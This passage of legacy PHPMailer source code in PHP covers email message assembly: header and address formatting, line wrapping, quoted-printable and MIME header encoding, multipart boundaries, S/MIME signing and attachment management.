  2013. $this->SetError('Could not load language file');
  2014. return false;
  2015. }
  2016. $this->language = $PHPMAILER_LANG;
  2017.  
  2018. return true;
  2019. }
  2020.  
  2021. /////////////////////////////////////////////////
  2022. // METHODS, MESSAGE CREATION
  2023. /////////////////////////////////////////////////
  2024.  
  2025. /**
  2026. * Creates recipient headers.
  2027. * @access private
  2028. * @return string
  2029. */
  2030. function AddrAppend($type, $addr) {
  2031. $addr_str = $type . ': ';
  2032. $addr_str .= $this->AddrFormat($addr[0]);
  2033. if(count($addr) > 1) {
  2034. for($i = 1; $i < count($addr); $i++) {
  2035. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2036. }
  2037. }
  2038. $addr_str .= $this->LE;
  2039.  
  2040. return $addr_str;
  2041. }
  2042.  
  2043. /**
  2044. * Formats an address correctly.
  2045. * @access private
  2046. * @return string
  2047. */
  2048. function AddrFormat($addr) {
  2049. if(empty($addr[1])) {
  2050. $formatted = $this->SecureHeader($addr[0]);
  2051. } else {
  2052. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2053. }
  2054.  
  2055. return $formatted;
  2056. }
  2057.  
  2058. /**
  2059. * Wraps message for use with mailers that do not
  2060. * automatically perform wrapping and for quoted-printable.
  2061. * Original written by philippe.
  2062. * @access private
  2063. * @return string
  2064. */
  2065. function WrapText($message, $length, $qp_mode = false) {
  2066. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2067. // If utf-8 encoding is used, we will need to make sure we don't
  2068. // split multibyte characters when we wrap
  2069. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2070.  
  2071. $message = $this->FixEOL($message);
  2072. if (substr($message, -1) == $this->LE) {
  2073. $message = substr($message, 0, -1);
  2074. }
  2075.  
  2076. $line = explode($this->LE, $message);
  2077. $message = '';
  2078. for ($i=0 ;$i < count($line); $i++) {
  2079. $line_part = explode(' ', $line[$i]);
  2080. $buf = '';
  2081. for ($e = 0; $e<count($line_part); $e++) {
  2082. $word = $line_part[$e];
  2083. if ($qp_mode and (strlen($word) > $length)) {
  2084. $space_left = $length - strlen($buf) - 1;
  2085. if ($e != 0) {
  2086. if ($space_left > 20) {
  2087. $len = $space_left;
  2088. if ($is_utf8) {
  2089. $len = $this->UTF8CharBoundary($word, $len);
  2090. } elseif (substr($word, $len - 1, 1) == "=") {
  2091. $len--;
  2092. } elseif (substr($word, $len - 2, 1) == "=") {
  2093. $len -= 2;
  2094. }
  2095. $part = substr($word, 0, $len);
  2096. $word = substr($word, $len);
  2097. $buf .= ' ' . $part;
  2098. $message .= $buf . sprintf("=%s", $this->LE);
  2099. } else {
  2100. $message .= $buf . $soft_break;
  2101. }
  2102. $buf = '';
  2103. }
  2104. while (strlen($word) > 0) {
  2105. $len = $length;
  2106. if ($is_utf8) {
  2107. $len = $this->UTF8CharBoundary($word, $len);
  2108. } elseif (substr($word, $len - 1, 1) == "=") {
  2109. $len--;
  2110. } elseif (substr($word, $len - 2, 1) == "=") {
  2111. $len -= 2;
  2112. }
  2113. $part = substr($word, 0, $len);
  2114. $word = substr($word, $len);
  2115.  
  2116. if (strlen($word) > 0) {
  2117. $message .= $part . sprintf("=%s", $this->LE);
  2118. } else {
  2119. $buf = $part;
  2120. }
  2121. }
  2122. } else {
  2123. $buf_o = $buf;
  2124. $buf .= ($e == 0) ? $word : (' ' . $word);
  2125.  
  2126. if (strlen($buf) > $length and $buf_o != '') {
  2127. $message .= $buf_o . $soft_break;
  2128. $buf = $word;
  2129. }
  2130. }
  2131. }
  2132. $message .= $buf . $this->LE;
  2133. }
  2134.  
  2135. return $message;
  2136. }
  2137.  
  2138. /**
  2139. * Finds last character boundary prior to maxLength in a utf-8
  2140. * quoted (printable) encoded string.
  2141. * Original written by Colin Brown.
  2142. * @access private
  2143. * @param string $encodedText utf-8 QP text
  2144. * @param int $maxLength find last character boundary prior to this length
  2145. * @return int
  2146. */
  2147. function UTF8CharBoundary($encodedText, $maxLength) {
  2148. $foundSplitPos = false;
  2149. $lookBack = 3;
  2150. while (!$foundSplitPos) {
  2151. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2152. $encodedCharPos = strpos($lastChunk, "=");
  2153. if ($encodedCharPos !== false) {
  2154. // Found start of encoded character byte within $lookBack block.
  2155. // Check the encoded byte value (the 2 chars after the '=')
  2156. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2157. $dec = hexdec($hex);
  2158. if ($dec < 128) { // Single byte character.
  2159. // If the encoded char was found at pos 0, it will fit
  2160. // otherwise reduce maxLength to start of the encoded char
  2161. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2162. $maxLength - ($lookBack - $encodedCharPos);
  2163. $foundSplitPos = true;
  2164. } elseif ($dec >= 192) { // First byte of a multi byte character
  2165. // Reduce maxLength to split at start of character
  2166. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2167. $foundSplitPos = true;
  2168. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2169. $lookBack += 3;
  2170. }
  2171. } else {
  2172. // No encoded character found
  2173. $foundSplitPos = true;
  2174. }
  2175. }
  2176. return $maxLength;
  2177. }
  2178.  
  2179. /**
  2180. * Set the body wrapping.
  2181. * @access private
  2182. * @return void
  2183. */
  2184. function SetWordWrap() {
  2185. if($this->WordWrap < 1) {
  2186. return;
  2187. }
  2188.  
  2189. switch($this->message_type) {
  2190. case 'alt':
  2191. /* fall through */
  2192. case 'alt_attachments':
  2193. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2194. break;
  2195. default:
  2196. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2197. break;
  2198. }
  2199. }
  2200.  
  2201. /**
  2202. * Assembles message header.
  2203. * @access private
  2204. * @return string
  2205. */
  2206. function CreateHeader() {
  2207. $result = '';
  2208.  
  2209. /* Set the boundaries */
  2210. $uniq_id = md5(uniqid(time()));
  2211. $this->boundary[1] = 'b1_' . $uniq_id;
  2212. $this->boundary[2] = 'b2_' . $uniq_id;
  2213.  
  2214. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2215. if($this->Sender == '') {
  2216. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2217. } else {
  2218. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2219. }
  2220.  
  2221. /* To be created automatically by mail() */
  2222. if($this->Mailer != 'mail') {
  2223. if(count($this->to) > 0) {
  2224. $result .= $this->AddrAppend('To', $this->to);
  2225. } elseif (count($this->cc) == 0) {
  2226. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2227. }
  2228. if(count($this->cc) > 0) {
  2229. $result .= $this->AddrAppend('Cc', $this->cc);
  2230. }
  2231. }
  2232.  
  2233. $from = array();
  2234. $from[0][0] = trim($this->From);
  2235. $from[0][1] = $this->FromName;
  2236. $result .= $this->AddrAppend('From', $from);
  2237.  
  2238. /* sendmail and mail() extract Cc from the header before sending */
  2239. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2240. $result .= $this->AddrAppend('Cc', $this->cc);
  2241. }
  2242.  
  2243. /* sendmail and mail() extract Bcc from the header before sending */
  2244. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2245. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2246. }
  2247.  
  2248. if(count($this->ReplyTo) > 0) {
  2249. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2250. }
  2251.  
  2252. /* mail() sets the subject itself */
  2253. if($this->Mailer != 'mail') {
  2254. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2255. }
  2256.  
  2257. if($this->MessageID != '') {
  2258. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2259. } else {
  2260. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2261. }
  2262. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2263. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2264.  
  2265. if($this->ConfirmReadingTo != '') {
  2266. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2267. }
  2268.  
  2269. // Add custom headers
  2270. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2271. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2272. }
  2273. if (!$this->sign_key_file) {
  2274. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2275. $result .= $this->GetMailMIME();
  2276. }
  2277.  
  2278. return $result;
  2279. }
  2280.  
  2281. /**
  2282. * Returns the message MIME.
  2283. * @access private
  2284. * @return string
  2285. */
  2286. function GetMailMIME() {
  2287. $result = '';
  2288. switch($this->message_type) {
  2289. case 'plain':
  2290. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2291. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2292. break;
  2293. case 'attachments':
  2294. /* fall through */
  2295. case 'alt_attachments':
  2296. if($this->InlineImageExists()){
  2297. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2298. } else {
  2299. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2300. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2301. }
  2302. break;
  2303. case 'alt':
  2304. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2305. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2306. break;
  2307. }
  2308.  
  2309. if($this->Mailer != 'mail') {
  2310. $result .= $this->LE.$this->LE;
  2311. }
  2312.  
  2313. return $result;
  2314. }
  2315.  
  2316. /**
  2317. * Assembles the message body. Returns an empty string on failure.
  2318. * @access private
  2319. * @return string
  2320. */
  2321. function CreateBody() {
  2322. $result = '';
  2323. if ($this->sign_key_file) {
  2324. $result .= $this->GetMailMIME();
  2325. }
  2326.  
  2327. $this->SetWordWrap();
  2328.  
  2329. switch($this->message_type) {
  2330. case 'alt':
  2331. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2332. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2333. $result .= $this->LE.$this->LE;
  2334. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2335. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2336. $result .= $this->LE.$this->LE;
  2337. $result .= $this->EndBoundary($this->boundary[1]);
  2338. break;
  2339. case 'plain':
  2340. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2341. break;
  2342. case 'attachments':
  2343. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2344. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2345. $result .= $this->LE;
  2346. $result .= $this->AttachAll();
  2347. break;
  2348. case 'alt_attachments':
  2349. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2350. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2351. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2352. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2353. $result .= $this->LE.$this->LE;
  2354. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2355. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2356. $result .= $this->LE.$this->LE;
  2357. $result .= $this->EndBoundary($this->boundary[2]);
  2358. $result .= $this->AttachAll();
  2359. break;
  2360. }
  2361.  
  2362. if($this->IsError()) {
  2363. $result = '';
  2364. } else if ($this->sign_key_file) {
  2365. $file = tempnam("", "mail");
  2366. $fp = fopen($file, "w");
  2367. fwrite($fp, $result);
  2368. fclose($fp);
  2369. $signed = tempnam("", "signed");
  2370.  
  2371. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2372. $fp = fopen($signed, "r");
  2373. $result = fread($fp, filesize($this->sign_key_file));
  2374. fclose($fp);
  2375. } else {
  2376. $this->SetError($this->Lang("signing").openssl_error_string());
  2377. $result = '';
  2378. }
  2379.  
  2380. unlink($file);
  2381. unlink($signed);
  2382. }
  2383.  
  2384. return $result;
  2385. }
  2386.  
  2387. /**
  2388. * Returns the start of a message boundary.
  2389. * @access private
  2390. */
  2391. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2392. $result = '';
  2393. if($charSet == '') {
  2394. $charSet = $this->CharSet;
  2395. }
  2396. if($contentType == '') {
  2397. $contentType = $this->ContentType;
  2398. }
  2399. if($encoding == '') {
  2400. $encoding = $this->Encoding;
  2401. }
  2402. $result .= $this->TextLine('--' . $boundary);
  2403. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2404. $result .= $this->LE;
  2405. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2406. $result .= $this->LE;
  2407.  
  2408. return $result;
  2409. }
  2410.  
  2411. /**
  2412. * Returns the end of a message boundary.
  2413. * @access private
  2414. */
  2415. function EndBoundary($boundary) {
  2416. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2417. }
  2418.  
  2419. /**
  2420. * Sets the message type.
  2421. * @access private
  2422. * @return void
  2423. */
  2424. function SetMessageType() {
  2425. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2426. $this->message_type = 'plain';
  2427. } else {
  2428. if(count($this->attachment) > 0) {
  2429. $this->message_type = 'attachments';
  2430. }
  2431. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2432. $this->message_type = 'alt';
  2433. }
  2434. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2435. $this->message_type = 'alt_attachments';
  2436. }
  2437. }
  2438. }
  2439.  
  2440. /* Returns a formatted header line.
  2441. * @access private
  2442. * @return string
  2443. */
  2444. function HeaderLine($name, $value) {
  2445. return $name . ': ' . $value . $this->LE;
  2446. }
  2447.  
  2448. /**
  2449. * Returns a formatted mail line.
  2450. * @access private
  2451. * @return string
  2452. */
  2453. function TextLine($value) {
  2454. return $value . $this->LE;
  2455. }
  2456.  
  2457. /////////////////////////////////////////////////
  2458. // CLASS METHODS, ATTACHMENTS
  2459. /////////////////////////////////////////////////
  2460.  
  2461. /**
  2462. * Adds an attachment from a path on the filesystem.
  2463. * Returns false if the file could not be found
  2464. * or accessed.
  2465. * @param string $path Path to the attachment.
  2466. * @param string $name Overrides the attachment name.
  2467. * @param string $encoding File encoding (see $Encoding).
  2468. * @param string $type File extension (MIME) type.
  2469. * @return bool
  2470. */
  2471. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2472. if(!@is_file($path)) {
  2473. $this->SetError($this->Lang('file_access') . $path);
  2474. return false;
  2475. }
  2476.  
  2477. $filename = basename($path);
  2478. if($name == '') {
  2479. $name = $filename;
  2480. }
  2481.  
  2482. $cur = count($this->attachment);
  2483. $this->attachment[$cur][0] = $path;
  2484. $this->attachment[$cur][1] = $filename;
  2485. $this->attachment[$cur][2] = $name;
  2486. $this->attachment[$cur][3] = $encoding;
  2487. $this->attachment[$cur][4] = $type;
  2488. $this->attachment[$cur][5] = false; // isStringAttachment
  2489. $this->attachment[$cur][6] = 'attachment';
  2490. $this->attachment[$cur][7] = 0;
  2491.  
  2492. return true;
  2493. }
  2494.  
  2495. /**
  2496. * Attaches all fs, string, and binary attachments to the message.
  2497. * Returns an empty string on failure.
  2498. * @access private
  2499. * @return string
  2500. */
  2501. function AttachAll() {
  2502. /* Return text of body */
  2503. $mime = array();
  2504.  
  2505. /* Add all attachments */
  2506. for($i = 0; $i < count($this->attachment); $i++) {
  2507. /* Check for string attachment */
  2508. $bString = $this->attachment[$i][5];
  2509. if ($bString) {
  2510. $string = $this->attachment[$i][0];
  2511. } else {
  2512. $path = $this->attachment[$i][0];
  2513. }
  2514.  
  2515. $filename = $this->attachment[$i][1];
  2516. $name = $this->attachment[$i][2];
  2517. $encoding = $this->attachment[$i][3];
  2518. $type = $this->attachment[$i][4];
  2519. $disposition = $this->attachment[$i][6];
  2520. $cid = $this->attachment[$i][7];
  2521.  
  2522. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2523. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2524. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2525.  
  2526. if($disposition == 'inline') {
  2527. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2528. }
  2529.  
  2530. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2531.  
  2532. /* Encode as string attachment */
  2533. if($bString) {
  2534. $mime[] = $this->EncodeString($string, $encoding);
  2535. if($this->IsError()) {
  2536. return '';
  2537. }
  2538. $mime[] = $this->LE.$this->LE;
  2539. } else {
  2540. $mime[] = $this->EncodeFile($path, $encoding);
  2541. if($this->IsError()) {
  2542. return '';
  2543. }
  2544. $mime[] = $this->LE.$this->LE;
  2545. }
  2546. }
  2547.  
  2548. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2549.  
  2550. return join('', $mime);
  2551. }
  2552.  
  2553. /**
  2554. * Encodes attachment in requested format. Returns an
  2555. * empty string on failure.
  2556. * @access private
  2557. * @return string
  2558. */
  2559. function EncodeFile ($path, $encoding = 'base64') {
  2560. if(!@$fd = fopen($path, 'rb')) {
  2561. $this->SetError($this->Lang('file_open') . $path);
  2562. return '';
  2563. }
  2564. $magic_quotes = get_magic_quotes_runtime();
  2565. set_magic_quotes_runtime(0);
  2566. $file_buffer = fread($fd, filesize($path));
  2567. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2568. fclose($fd);
  2569. set_magic_quotes_runtime($magic_quotes);
  2570.  
  2571. return $file_buffer;
  2572. }
  2573.  
  2574. /**
  2575. * Encodes string to requested format. Returns an
  2576. * empty string on failure.
  2577. * @access private
  2578. * @return string
  2579. */
  2580. function EncodeString ($str, $encoding = 'base64') {
  2581. $encoded = '';
  2582. switch(strtolower($encoding)) {
  2583. case 'base64':
  2584. /* chunk_split is found in PHP >= 3.0.6 */
  2585. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2586. break;
  2587. case '7bit':
  2588. case '8bit':
  2589. $encoded = $this->FixEOL($str);
  2590. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2591. $encoded .= $this->LE;
  2592. break;
  2593. case 'binary':
  2594. $encoded = $str;
  2595. break;
  2596. case 'quoted-printable':
  2597. $encoded = $this->EncodeQP($str);
  2598. break;
  2599. default:
  2600. $this->SetError($this->Lang('encoding') . $encoding);
  2601. break;
  2602. }
  2603. return $encoded;
  2604. }
  2605.  
  2606. /**
  2607. * Encode a header string to best of Q, B, quoted or none.
  2608. * @access private
  2609. * @return string
  2610. */
  2611. function EncodeHeader ($str, $position = 'text') {
  2612. $x = 0;
  2613.  
  2614. switch (strtolower($position)) {
  2615. case 'phrase':
  2616. if (!preg_match('/[\200-\377]/', $str)) {
  2617. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2618. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2619. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2620. return ($encoded);
  2621. } else {
  2622. return ("\"$encoded\"");
  2623. }
  2624. }
  2625. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2626. break;
  2627. case 'comment':
  2628. $x = preg_match_all('/[()"]/', $str, $matches);
  2629. /* Fall-through */
  2630. case 'text':
  2631. default:
  2632. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2633. break;
  2634. }
  2635.  
  2636. if ($x == 0) {
  2637. return ($str);
  2638. }
  2639.  
  2640. $maxlen = 75 - 7 - strlen($this->CharSet);
  2641. /* Try to select the encoding which should produce the shortest output */
  2642. if (strlen($str)/3 < $x) {
  2643. $encoding = 'B';
  2644. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2645. // Use a custom function which correctly encodes and wraps long
  2646. // multibyte strings without breaking lines within a character
  2647. $encoded = $this->Base64EncodeWrapMB($str);
  2648. } else {
  2649. $encoded = base64_encode($str);
  2650. $maxlen -= $maxlen % 4;
  2651. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2652. }
  2653. } else {
  2654. $encoding = 'Q';
  2655. $encoded = $this->EncodeQ($str, $position);
  2656. $encoded = $this->WrapText($encoded, $maxlen, true);
  2657. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2658. }
  2659.  
  2660. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2661. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2662.  
  2663. return $encoded;
  2664. }
  2665.  
  2666. /**
  2667. * Checks if a string contains multibyte characters.
  2668. * @access private
  2669. * @param string $str multi-byte text to wrap encode
  2670. * @return bool
  2671. */
  2672. function HasMultiBytes($str) {
  2673. if (function_exists('mb_strlen')) {
  2674. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2675. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2676. return False;
  2677. }
  2678. }
  2679.  
  2680. /**
  2681. * Correctly encodes and wraps long multibyte strings for mail headers
  2682. * without breaking lines within a character.
  2683. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2684. * @access private
  2685. * @param string $str multi-byte text to wrap encode
  2686. * @return string
  2687. */
  2688. function Base64EncodeWrapMB($str) {
  2689. $start = "=?".$this->CharSet."?B?";
  2690. $end = "?=";
  2691. $encoded = "";
  2692.  
  2693. $mb_length = mb_strlen($str, $this->CharSet);
  2694. // Each line must have length <= 75, including $start and $end
  2695. $length = 75 - strlen($start) - strlen($end);
  2696. // Average multi-byte ratio
  2697. $ratio = $mb_length / strlen($str);
  2698. // Base64 has a 4:3 ratio
  2699. $offset = $avgLength = floor($length * $ratio * .75);
  2700.  
  2701. for ($i = 0; $i < $mb_length; $i += $offset) {
  2702. $lookBack = 0;
  2703.  
  2704. do {
  2705. $offset = $avgLength - $lookBack;
  2706. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2707. $chunk = base64_encode($chunk);
  2708. $lookBack++;
  2709. }
  2710. while (strlen($chunk) > $length);
  2711.  
  2712. $encoded .= $chunk . $this->LE;
  2713. }
  2714.  
  2715. // Chomp the last linefeed
  2716. $encoded = substr($encoded, 0, -strlen($this->LE));
  2717. return $encoded;
  2718. }
  2719.  
  2720. /**
  2721. * Encode string to quoted-printable.
  2722. * @access private
  2723. * @return string
  2724. */
  2725. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2726. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2727. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2728. $eol = "\r\n";
  2729. $escape = '=';
  2730. $output = '';
  2731. while( list(, $line) = each($lines) ) {
  2732. $linlen = strlen($line);
  2733. $newline = '';
  2734. for($i = 0; $i < $linlen; $i++) {
  2735. $c = substr( $line, $i, 1 );
  2736. $dec = ord( $c );
  2737. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2738. $c = '=2E';
  2739. }
  2740. if ( $dec == 32 ) {
  2741. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2742. $c = '=20';
  2743. } else if ( $space_conv ) {
  2744. $c = '=20';
  2745. }
  2746. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2747. $h2 = floor($dec/16);
  2748. $h1 = floor($dec%16);
  2749. $c = $escape.$hex[$h2].$hex[$h1];
  2750. }
  2751. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2752. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2753. $newline = '';
  2754. // check if newline first character will be point or not
  2755. if ( $dec == 46 ) {
  2756. $c = '=2E';
  2757. }
  2758. }
  2759. $newline .= $c;
  2760. } // end of for
  2761. $output .= $newline.$eol;
  2762. } // end of while
  2763. return trim($output);
  2764. }
  2765.  
  2766. /**
  2767. * Encode string to q encoding.
  2768. * @access private
  2769. * @return string
  2770. */
  2771. function EncodeQ ($str, $position = 'text') {
  2772. /* There should not be any EOL in the string */
  2773. $encoded = preg_replace("[\r\n]", '', $str);
  2774.  
  2775. switch (strtolower($position)) {
  2776. case 'phrase':
  2777. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2778. break;
  2779. case 'comment':
  2780. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2781. case 'text':
  2782. default:
  2783. /* Replace every high ascii, control =, ? and _ characters */
  2784. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2785. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2786. break;
  2787. }
  2788.  
  2789. /* Replace every spaces to _ (more readable than =20) */
  2790. $encoded = str_replace(' ', '_', $encoded);
  2791.  
  2792. return $encoded;
  2793. }
  2794.  
  2795. /**
  2796. * Adds a string or binary attachment (non-filesystem) to the list.
  2797. * This method can be used to attach ascii or binary data,
  2798. * such as a BLOB record from a database.
  2799. * @param string $string String attachment data.
  2800. * @param string $filename Name of the attachment.
  2801. * @param string $encoding File encoding (see $Encoding).
  2802. * @param string $type File extension (MIME) type.
  2803. * @return void
  2804. */
  2805. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2806. /* Append to $attachment array */
  2807. $cur = count($this->attachment);
  2808. $this->attachment[$cur][0] = $string;
  2809. $this->attachment[$cur][1] = $filename;
  2810. $this->attachment[$cur][2] = $filename;
  2811. $this->attachment[$cur][3] = $encoding;
  2812. $this->attachment[$cur][4] = $type;
  2813. $this->attachment[$cur][5] = true; // isString
  2814. $this->attachment[$cur][6] = 'attachment';
  2815. $this->attachment[$cur][7] = 0;
  2816. }
  2817.  
  2818. /**
  2819. * Adds an embedded attachment. This can include images, sounds, and
  2820. * just about any other document. Make sure to set the $type to an
  2821. * image type. For JPEG images use "image/jpeg" and for GIF images
  2822. * use "image/gif".
  2823. * @param string $path Path to the attachment.
  2824. * @param string $cid Content ID of the attachment. Use this to identify
  2825. * the Id for accessing the image in an HTML form.
  2826. * @param string $name Overrides the attachment name.
  2827. * @param string $encoding File encoding (see $Encoding).
  2828. * @param string $type File extension (MIME) type.
  2829. * @return bool
  2830. */
  2831. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2832.  
  2833. if(!@is_file($path)) {
  2834. $this->SetError($this->Lang('file_access') . $path);
  2835. return false;
  2836. }
  2837.  
  2838. $filename = basename($path);
  2839. if($name == '') {
  2840. $name = $filename;
  2841. }
  2842.  
  2843. /* Append to $attachment array */
  2844. $cur = count($this->attachment);
  2845. $this->attachment[$cur][0] = $path;
  2846. $this->attachment[$cur][1] = $filename;
  2847. $this->attachment[$cur][2] = $name;
  2848. $this->attachment[$cur][3] = $encoding;
  2849. $this->attachment[$cur][4] = $type;
  2850. $this->attachment[$cur][5] = false;
  2851. $this->attachment[$cur][6] = 'inline';
  2852. $this->attachment[$cur][7] = $cid;
  2853.  
  2854. return true;
  2855. }
  2856.  
  2857. /**
  2858. * Returns true if an inline attachment is present.
  2859. * @access private
  2860. * @return bool
  2861. */
  2862. function InlineImageExists() {
  2863. $result = false;
  2864. for($i = 0; $i < count($this->attachment); $i++) {
  2865. if($this->attachment[$i][6] == 'inline') {
  2866. $result = true;
  2867. break;
  2868. }
  2869. }
  2870.  
  2871. return $result;
  2872. }
  2873.  
  2874. /////////////////////////////////////////////////
  2875. // CLASS METHODS, MESSAGE RESET
  2876. /////////////////////////////////////////////////
  2877.  
  2878. /**
  2879. * Clears all recipients assigned in the TO array. Returns void.
  2880. * @return void
  2881. */
  2882. function ClearAddresses() {
  2883. $this->to = array();
  2884. }
  2885.  
  2886. /**
  2887. * Clears all recipients assigned in the CC array. Returns void.
  2888. * @return void
  2889. */
  2890. function ClearCCs() {
  2891. $this->cc = array();
  2892. }
  2893.  
  2894. /**
  2895. * Clears all recipients assigned in the BCC array. Returns void.
  2896. * @return void
  2897. */
  2898. function ClearBCCs() {
  2899. $this->bcc = array();
  2900. }
  2901.  
  2902. /**
  2903. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2904. * @return void
  2905. */
  2906. function ClearReplyTos() {
  2907. $this->ReplyTo = array();
  2908. }
  2909.  
  2910. /**
  2911. * Clears all recipients assigned in the TO, CC and BCC
  2912. * array. Returns void.
  2913. * @return void
  2914. */
  2915. function ClearAllRecipients() {
  2916. $this->to = array();
  2917. $this->cc = array();
  2918. $this->bcc = array();
  2919. }
  2920.  
  2921. /**
  2922. * Clears all previously set filesystem, string, and binary
  2923. * attachments. Returns void.
  2924. * @return void
  2925. */
  2926. function ClearAttachments() {
  2927. $this->attachment = array();
  2928. }
  2929.  
  2930. /**
  2931. * Clears all custom headers. Returns void.
  2932. * @return void
  2933. */
